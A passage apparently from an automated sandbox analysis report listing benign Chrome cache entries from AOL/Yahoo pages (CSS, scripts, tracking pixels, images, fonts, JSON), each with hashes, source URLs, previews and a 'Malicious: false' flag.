h.....4w.H...3v...\=.a..LV...'j....x....:..E........e...a#...@.In..$"...>../f..K8....IDAT....c..g...s.=.m.m.6k.f.&.m.....~.A.$=.....QU[._n..49D..?$...X.b......

Chrome Cache Entry: 622

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (8369)
Category:	downloaded
Size (bytes):	8375
Entropy (8bit):	4.938986718408426
Encrypted:	false
SSDEEP:	96:rZD2NL8TnrzVQUOcMv3SkSLlS2zBGUJDC33BdLTaUOFuer2yymSn3rFq:1Oo5XU2zYSFFbr2ylYq
MD5:	72532AE716008FCD89700B170128D1B7
SHA1:	5339A7758DD1504BBF93576D7D4763F4E627EB22
SHA-256:	39666DD6C751375D8A257D2BA07D321EF84E3A99FFB3B12FED8289EBC38A5D67
SHA-512:	D7A994AB223A39AA6274B68FEF1CD28A8701BD74E6266F96451CECB34074E6350B2A97D51C4DC7A9A40073099D70D8F7747769BD96646414C1C21D336FFD54D9
Malicious:	false
Reputation:	low
URL:	https://players.brightcove.net/videojs-bc-playlist-ui/5.1.1/videojs-bc-playlist-ui.css
Preview:	..vjs-playlist{padding:0;background-color:#1a1a1a;color:#fff;list-style-type:none}.vjs-playlist img{display:block}.vjs-playlist .vjs-playlist-item-list{position:relative;margin:0;padding:0;list-style:none}.vjs-playlist .vjs-playlist-item{position:relative;cursor:pointer;overflow:hidden}.vjs-playlist .vjs-playlist-thumbnail-placeholder{background:#303030}.vjs-playlist .vjs-playlist-now-playing-text{display:none;position:absolute;top:0;left:0;padding-left:2px;margin:.8rem}.vjs-playlist .vjs-playlist-duration{position:absolute;top:.5rem;left:.5rem;padding:2px 5px 3px;margin-left:2px;background-color:rgba(26, 26, 26, 0.8)}.vjs-playlist .vjs-playlist-title-container{position:absolute;bottom:0;box-sizing:border-box;width:100%;padding:.5rem .8rem;text-shadow:1px 1px 2px #000,-1px 1px 2px #000,1px -1px 2px #000,-1px -1px 2px #000}.vjs-playlist .vjs-playlist-name{display:block;max-height:2.5em;padding:0 0 4px 2px;font-style:normal;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;line

Chrome Cache Entry: 623

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13552), with no line terminators
Category:	downloaded
Size (bytes):	13552
Entropy (8bit):	5.193169886549725
Encrypted:	false
SSDEEP:	384:35SEHg6tw8SFplnwGoIl+KSoUK+wTzxevlhRawt6wB7VtEs6mRgDdQ9Ux39tm:JSujSFpln/+K2vnRawt6atBW4Ux39I
MD5:	808AF2D936DDA9BF28A182C7CA2DCCDE
SHA1:	DA95F589E5150D364212A3BBD44D4EECCC719532
SHA-256:	676EDE8A71E37FC4FAA8032AF7802962B7DE6039B31479938185DB6FF7744803
SHA-512:	B47E95109ACA0ECA6DD6133A6A438055AE516FE9CAC9ECF304505D7C183E31D14D166B9C56F6F1F52A10516FD02F1FB75E72503B19D80EC0A316DF44AA410982
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-rapid-1.10.8.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-rapid",[],t):"object"==typeof exports?exports["wafer-rapid"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-rapid"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/base.js":function(e,t,r){"use strict";function n(){return s=r("./src/rapidInstance.js")}function i(e,t){if(!(e instanceof t))throw new TypeE

Chrome Cache Entry: 624

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://mwzeom.zeotap.com/mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 625

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	457
Entropy (8bit):	7.299960261495616
Encrypted:	false
SSDEEP:	12:6v/7ehuN3w/ceK0xisiruQLtsFmGarLd1sAx:HuNgEh0xtiFBsIG4S2
MD5:	12B179DFAC257BA3CF6EADBC3D4F5057
SHA1:	D0993279B43D64470FFC2DD424759683F7B16A65
SHA-256:	17977224589434F01D00AF1410495F767C9C04C10FF85C3D5D4C2EE156EDB040
SHA-512:	A9EA14CF74307493197715BD83C767FBBEB7F6A977D39DBD184E71CEF8579E3C4FB28A6E4B79327BBC340E3477989EB87E6965866FBD3AB164C168522E4E071F
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F7bc91ad0-1009-11ec-bfea-2182b7e056ce&client=76f99bdb8f78cd44cc0b&signature=288593dd0d822231ec18e08bd43dabcce5aeea31
Preview:	.PNG........IHDR.............(-.S....PLTEGpL"''?GP3;D'17/5=!)0"0..... 2:C2:C...-7?9;BIPU.!)(18......-6?18@...................rvxilq...............%.#1........RW[/59[^b..................`cccfg.........q.......tRNS........1.1.....1....[).....IDAT..-..B.0.........B.Q2dC...fL}....\|.X..B.U...u. .;.#v......a(..16....RM..U.......Z......D.TV....".....'H.1.;....i....).).S.._..6.t@...W.sYq!v.@o.@.Kp.......!.....{-kJ....f.~.@]..c......IEND.B`.

Chrome Cache Entry: 626

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64883)
Category:	downloaded
Size (bytes):	1257275
Entropy (8bit):	5.380434853561499
Encrypted:	false
SSDEEP:	12288:wv13j5J54O0LwpzztHCD9lytuNHmd5EMyTV505K55Eb3i9IP2U78FNWu1HUcNDe/:+zGOOwpzzJCDStuNSp
MD5:	62A1514E4E5F7A065A4BF2714230AA4E
SHA1:	723D4DA6B49E4C1CD91BE7326B21E290CDAE23F2
SHA-256:	75E0F3EBA30D261EFD1281AC20CA266C871B7DD898F4764D7872756F58ACEEF9
SHA-512:	F5AF34C792D867D30FA819516FC48FDB14356ECCD8D4C19AB702E01F272B8B585F0D071C1F0FA49A8B69428ED859E24FB0E0D988D5B42268ECFC1B91FB9F8ECD
Malicious:	false
Reputation:	low
URL:	https://cdn.taboola.com/libtrc/yahoo-aol-network/loader.js
Preview:	//AB_TEMPLATE.//ab -> 21......var _taboola = _taboola \|\| [];var TRC = TRC \|\| {};.TRC.perfConfOverride = {'logTimer': 50000, 'logLength' : 5, 'traffic' : 50, 'measureEnable' : true, 'measureTimeToSend' : 10000, 'measureInterval' : 10000, 'disableRawDataSend': true};..................................................................................................................................................._taboola.push({overrideConfig:{global:{"is-ms3":"true"},systemFlags:{loaderType:"trecs-yahoo-2_var-bridge", experimentID: 16602 }}});.try {(new Image()).src = "https://cdn.taboola.com/libtrc/tr5?abgroup=trecs-yahoo-2_var-bridge"} catch(e){}.(function(){var __webpack_modules__={6337:function(){!function(){"use strict";if("object"==typeof window)if("IntersectionObserver"in window&&"IntersectionObserverEntry"in window&&"intersectionRatio"in window.IntersectionObserverEntry.prototype)"isIntersecting"in window.IntersectionObserverEntry.prototype\|\|Object.defineProperty(window.Intersectio

Chrome Cache Entry: 627

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2160
Entropy (8bit):	7.478928471757875
Encrypted:	false
SSDEEP:	48:9jwx1VEq97EcyS0G9vucaECU//hrBo0Wlk2uDHuQyvdk:98tn97MSjFucaECU/hBoLlzuDHT
MD5:	54C4B7B548462E8256120E1738B08120
SHA1:	9FF4BC3E893CFCD65BB4B2B5A3E28B888C4F0F7D
SHA-256:	1B80BA987DA104467BC35E540C7B91E352850C6794AAF3294D7F106EF90862AB
SHA-512:	4570BEA1B4ADE2A3DDCD93C1E4FFC243F873E0CFC5F36A9073ED60FBC3F72A3F23470061C758D8E5F17080CBD592B27D57965E1F03CCE7EA5BB47227357FB147
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL........................................................................................................................................................................................................................................43....3..CB....>=.......4..:..>..;:.......UT.8.....BA..............=.....]\.........6........54;Y....Uo.C`.=[......XW.ts...'I....%G.....4......~...@.....Je.Mh.....`_.....cc...................Xr.Gc.........7....d{..hh..._w.....ML....................QPz...........x.. B........vu....65.....p.........$E....)J.u.................6U..7....i........nn....az."D.A^....n.......yy...............}}.ED.qp.a`.fe...5T..~}....................7V.f}...98.87...\u.....kj................\|\|.rq.KJ.....<.....NtRNS............3.........MlW9.}.....w...[$.......!.n`y....i../.>..T...r.Dc.ct......IDAT.....\.h...O.M........n.6.(.1...A.....]..*..}..y.}^{...@...#.szc..#...d`.A-k..r....(].

Chrome Cache Entry: 628

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	68632
Entropy (8bit):	5.9252191357169
Encrypted:	false
SSDEEP:	768:nV9o4NI8nTki9HmQCgfxSk9WExGsFhC7mSNSodC:n/zdkKygWPaSZI
MD5:	97F9D52F108451F499F099369C01C704
SHA1:	9707D6EEC4C54290591B6CE3764711480B9B70C9
SHA-256:	1BBA0B5F96BEB69F05216C6C5D63F5BFCDC7DFAA9BD22BE5B2BDC5B02D1E224F
SHA-512:	0435C7433EC6E42F740511ADA778C0FB82C55408E83FF705F7E7C465B0F211E161770F2C835DC4187F5E3A0B1DC1F1377352E89133A3586A45ADF2705B6322D0
Malicious:	false
Reputation:	low
Preview:	{"query":{"results":{"mediaObj":[{"id":"367e5c27-5f3b-3a8e-9d25-71dc03f1baf2","meta":{"attribution":"","description":"Chester Zoo announced on Thursday the arrival of a family of rare Roloway monkeys, one of the world.s most endangered species of primates. Staff at the facility described the arrival of the monkeys as "incredibly special." The family of four includes mum Masaya and dad Grizu, along with two young sons Anum and Ilo. The monkeys have a unique look: a dark body, white chest and distinctive white ruffs around their faces. According to Chester Zoo, Roloway monkeys are on the brink of extinction due to habitat loss in West Africa.","title":"Family of rare monkeys arrives at UK zoo","genre":"","embed_rights":true,"duration":57,"url":"https://www.yahoo.com/news/family-rare-monkeys-arrives-uk-105316530.html","thumbnail":"","create_date":"2024-05-23T10:58:28Z","provider":{"provider_id":"video.associatedpressfree.com","provider_video_id":"5ff0ab846696456db3b6858673

Chrome Cache Entry: 629

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=MDMyMTk5ODAtNmViOC0yMGU1LWY0Y2UtZmQxNmIwODM5OTM2
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 630

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "Lavc60.3.100", baseline, precision 8, 480x270, components 3
Category:	downloaded
Size (bytes):	14493
Entropy (8bit):	7.968061079299358
Encrypted:	false
SSDEEP:	384:09s7TSQopX+ePkyWWnyszCaBvWagVow5ieGuFF:0iBi+esWNzCaxWaDEuuP
MD5:	D69EC82DAD7D6ADA5001E539A85A52F6
SHA1:	43D75126CDE171EA40F6F2948C8EE5E1871ECAF3
SHA-256:	3D23E0A93773B5FE3AC9A46201DFEDD7466DDD1E0369AB38080E9730809413FE
SHA-512:	913D3C294C0C7E0EA97DFA73F7B973C3D10F564221E9800737B4C51F10366D4733D88A08EF857E9C9EB2D2BC67971D302DA6445145B7547F338D821EE33B9968
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/1m5s/match/image.jpeg?akamai_token=exp=1716516983~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/1m5s/match/image.jpeg*~hmac=9d517310167b79112563322d65f3008122dd36e8b4c68b55ca4ed63701484cc8
Preview:	......JFIF..............Lavc60.3.100...C....................................#,%.!!..&4'./121.%6:60:,010...C...........0 . 00000000000000000000000000000000000000000000000000..........."........................................H.........................!1.."AQ.aq...2....#3BR.$br.C..4D....%5Tcs...................................&......................!.1.A."Q..2Ba.............?..qC.g..,...C..l\|.S....}...c.c.f<r....A$..5.n..~`..n,......y5...K!.u.1.9.:.&.m].-..]...eb.....2..Z....i....l......2H..m....J..... ..:..t..3.0....OK.......3......w...-l......`zX.;G.Z.`...H(.h...%7...U.....D...>.Z.ZL...p.J....b.gt....k.Y....r/.~.:!....]....\|.s..q.6.. ../.&U........K...t.w....On)f.....A.(..N..P.....m.6...Us.$...J...mG:....w.P...P\.J..O.)C.]....==j.+$o*...T..W.P..i....qTrB.GE..........Hh".{k.2.i,.o...Z[..3.....(.8........,.\|.N...KIs..U............Ft.......B-.{.[.\|)...2..`....OB.,l.?V!.12<.c....W.....\|@8#L?w........W......cpY.k.ts...Fb{^h.0A.....L..o...f..qe.k.`.7.I...

Chrome Cache Entry: 631

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537072960&val=0randk1bxelfx
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 632

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 633

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 634

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2594
Entropy (8bit):	4.9528760801197365
Encrypted:	false
SSDEEP:	48:/0LwGL1NzFTC8LoNzFTCTNzFTC07H/IAnhMHtCa42HtQFL0y:BolCFlCJlC07KJwj
MD5:	189EE100FCE59F87BC6B7666A6CAF553
SHA1:	EDB26746F1E02B70D649FFEBF75DDF7D2B4556BB
SHA-256:	2182658D7EFB51260F29C76B80FA410147A7AFF141CD392539AB1F183BF9F877
SHA-512:	6BC4C60A92D4A0954EB02C5D6BC017998FBDA874365C420CD034815F5DCA37B894C605C76B9A0BF79730F8B1291ABF5855E8392C24CA95D518784F70469253C4
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/images/weather/small/30-partly-cloudy-day.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M24 42C33.9411 42 42 33.9411 42 24C42 14.0589 33.9411 6 24 6C14.0589 6 6 14.0589 6 24C6 33.9411 14.0589 42 24 42Z" fill="url(#paint0_linear_104_550)"/>.<path opacity="0.773135" d="M30.7669 16.4757L6.86562 29.5306C9.19925 36.7659 15.9884 42 24 42C33.9411 42 42 33.9411 42 24L30.7669 16.4757Z" fill="url(#paint1_linear_104_550)"/>.<path d="M35.4284 15.0825C30.4845 15.2959 26.411 19.1382 25.7862 24.1774C24.015 23.7511 22.151 24.0844 20.6244 25.1003C18.7253 26.2437 17.4226 28.1978 17.072 30.4292C16.8952 31.6825 17.0453 32.9614 17.507 34.1356C17.9676 35.2191 19.009 35.9201 20.1604 35.9219H35.8489C38.5711 35.9223 41.1795 34.8 43.088 32.8071C44.9964 30.8143 46.0452 28.1178 45.9985 25.3236C45.8327 19.4998 41.1013 14.9157 35.4284 15.0825V15.0825Z" fill="url(#paint2_linear_104_550)"/>.<path d="M35.4284 15.0825C30.4845 15.2959 26.411 19.1382 25.7862 24.1774C24.015 23.7511 22.151 24.0844 20.6244

Chrome Cache Entry: 635

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	10804
Entropy (8bit):	4.481624126994836
Encrypted:	false
SSDEEP:	192:v6+WE7QxvAjShzwzb7M1/myAYUNNdZnvGuQTF4U:v6+Pkxv44q/EH10U
MD5:	2928664FE1FC6ACA88583A6F606D60BA
SHA1:	2F2FE1CBD0563B3CE3EA79FCDF1549ED244B3993
SHA-256:	A26FC5B38380272C92E9019A2EB8B45542A66814B3E2B203772DB8904B9FB99F
SHA-512:	7D6F8B7E54A4DA3CF81C767B4AA40C3B04BAFE35F2DD77B85944DE4442F0B1DD1A8EDA0175DEB4652CF055094ACDC0D4B6E38ABE51C52A3DFBF887481315B347
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/images/modules/footer/AppStore_en.svg
Preview:	<svg id="livetype" xmlns="http://www.w3.org/2000/svg" width="119.66407" height="40" viewBox="0 0 119.66407 40">. <title>Download_on_the_App_Store_Badge_US-UK_RGB_blk_4SVG_092917</title>. <g>. <g>. <g>. <path d="M110.13477,0H9.53468c-.3667,0-.729,0-1.09473.002-.30615.002-.60986.00781-.91895.0127A13.21476,13.21476,0,0,0,5.5171.19141a6.66509,6.66509,0,0,0-1.90088.627A6.43779,6.43779,0,0,0,1.99757,1.99707,6.25844,6.25844,0,0,0,.81935,3.61816a6.60119,6.60119,0,0,0-.625,1.90332,12.993,12.993,0,0,0-.1792,2.002C.00587,7.83008.00489,8.1377,0,8.44434V31.5586c.00489.3105.00587.6113.01515.9219a12.99232,12.99232,0,0,0,.1792,2.0019,6.58756,6.58756,0,0,0,.625,1.9043A6.20778,6.20778,0,0,0,1.99757,38.001a6.27445,6.27445,0,0,0,1.61865,1.1787,6.70082,6.70082,0,0,0,1.90088.6308,13.45514,13.45514,0,0,0,2.0039.1768c.30909.0068.6128.0107.91895.0107C8.80567,40,9.168,40,9.53468,40H110.13477c.3594,0,.7246,0,1.084-.002.3047,0,.6172-.0039.9219-.0107a13.279,13.279,0,0,0,2-.1768,6.80432,6.80432,0,0

Chrome Cache Entry: 636

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 51100, version 4.262
Category:	downloaded
Size (bytes):	51100
Entropy (8bit):	7.9961896247971715
Encrypted:	true
SSDEEP:	768:yg6kf4WUPC3bp0c6AeNwDXFjR1J6cdNJwaHkjQR5xzvp8SgzPqIBUcrIQqdoAw3K:t6kfGC3xe+5jV6clbtRnOFOfd6YF
MD5:	0CDBBFC728AC34DB132F284A7066D40B
SHA1:	5468D48F59851ABD167A651514E4B50A5515794C
SHA-256:	B67FE134E78EE1F90AC5F92733C450FD178B02384539BED3FA283797010196BA
SHA-512:	473B01609935C375CFFEDAF6BA1D2E8083351385461CEAD3C5ABC066BA9B852C39EBBC82CD4039D09D392312DF88B67E0572B893E5D33207E8B7F95D5C4F86F7
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/fonts/poppins/Poppins-Semibold.woff2
Preview:	wOF2.............a....C.........................@..V..v.`..R...`..f.6.$.....H.. ..6...[.........V..}?.('......s.\|.cU.%x...v.V..........d!........v.6......(.(.6P...x...!..N.Nf...}.7.....VLX.\|Q%..6..S.![W.q1...?g.^.....f3\...B..yK6.....f.._eN..x1.l.j>.u.y.&.....$.U(....N.M.6.I..1.8.+..5..D%Q.......;..vY'Js=..6..i..[..M.#.I......`./U....,...f....M...Os....Rx..?.H...?TR..L...1R.G(..p.G._..x...TU...g!.C....T....V3..F... .......4. G... .O..i"RB+bh.....4... X........Gi.X)....4I....%..^.......b-..S>c...aS..76...D.f.....`...~:`i.......<.H.3c.p...rI&.X0..3..6D......b.......b....E.x...k.*..".<.b....@..k."D...X......D.1#.$b........m......w.....n}].Q...Cw.......].r.^..^j.w... ....#...?...H:t..Li..W..q..t..$........l...}k.7..M...qU......Scw..~.0d)@.....)..C....-M.!9.........?...(...<...w..Q..vF.(..O;...Z.C........8....hM+..lrt.V.~....P_.9,.yN"......s.]k............b.^...w @M ......Q....XI.^.E...P...<...?.}BGh..9.K2..L.%r..J.x...>U..6...>&H.. d.

Chrome Cache Entry: 637

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=17&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503726712&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=15&ns_st_cn=1&ns_st_ev=play&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=8&ns_st_asq=8&ns_st_sq=8&ns_st_po=3062&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=6938&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68416&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=3062&ns_st_ipt=0&ns_st_iap=0&ns_st_iet=173&ns_st_iupc=0&ns_st_iupa=0&ns_st_ilpc=0&ns_st_ilpa=0&ns_st_ibc=0&ns_st_ibt=0&ns_st_itpc=0&ns_st_icpc=0&ns_st_cfg=111110001-5-4b0-3-5&c3=yahoo&ca3=yahoos&c4=us.aolportal&ca4=us.aolportals&c6=&ns_st_pu=Yahoo&ns_st_st=Yahoo&ns_st_pr=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&ns_st_sn=null&ns_st_en=null&ns_st_ep=AP&ns_st_ge=null&ns_st_cs=368x276&ns_st_dskc=0&ns_st_dska=0&ns_st_skd=0&ns_st_dskt=0&ns_st_dpc=0&cs_ucfr=1&ns_ap_res=1280x907&ns_ap_sd=1280x1024&ns_ap_po=0x0&ns_ap_lang=en-US&ns_c=UTF-8&ns_st_br=0&ns_st_rt=100&ns_st_vo=100&ns_st_dpt=0&ns_st_ap=3062&ns_st_dap=0&ns_st_et=9578&ns_st_det=173&ns_st_upc=3062&ns_st_dupc=0&ns_st_upa=3062&ns_st_dupa=0&ns_st_lpc=3062&ns_st_dlpc=0&ns_st_lpa=3062&ns_st_dlpa=0&ns_st_bc=0&ns_st_dbc=0&ns_st_bt=4080&ns_st_dbt=0&ns_st_bp=4080&ns_st_dtpc=0&ns_st_dcpc=0&ns_st_skc=0&ns_st_ska=0&ns_st_skt=0&ns_st_pc=7&ns_st_pp=7&ns_st_pa=3062&c7=https%3A%2F%2Fwww.aol.com%2F&c8=News%2C%20Politics%2C%20Sports%2C%20Mail%20%26%20Latest%20Headlines%20-%20AOL.com&c9=&ns_st_ub=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 638

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15982)
Category:	downloaded
Size (bytes):	16103
Entropy (8bit):	5.128630356169282
Encrypted:	false
SSDEEP:	384:ZX0FCQMjobN/sQqxRuLbFRxT+3eUXJnNcbUy+XwSqUOCiGEsbQX:yC6xUQqxRuEhoPCi
MD5:	F9A1163A73B0919B0CFF56986D05A1DA
SHA1:	7377C45E90879F81C6E0F3E89C7010D491814286
SHA-256:	675776EDE7CCC738D50C519D5F9B7729DD2E0E129FA5A849AD6BAEE29D410A4F
SHA-512:	67F1937B00F2A9A2B7195A5B4EF9D301361F2EB24B71E1B52379303EA8E22B71B795BE242C7A2213822371387D49B49F8AF057EE8C03FA86745B1CE7DBEFCEB6
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/newsletter_signup.f9a1163a73b0919b.js
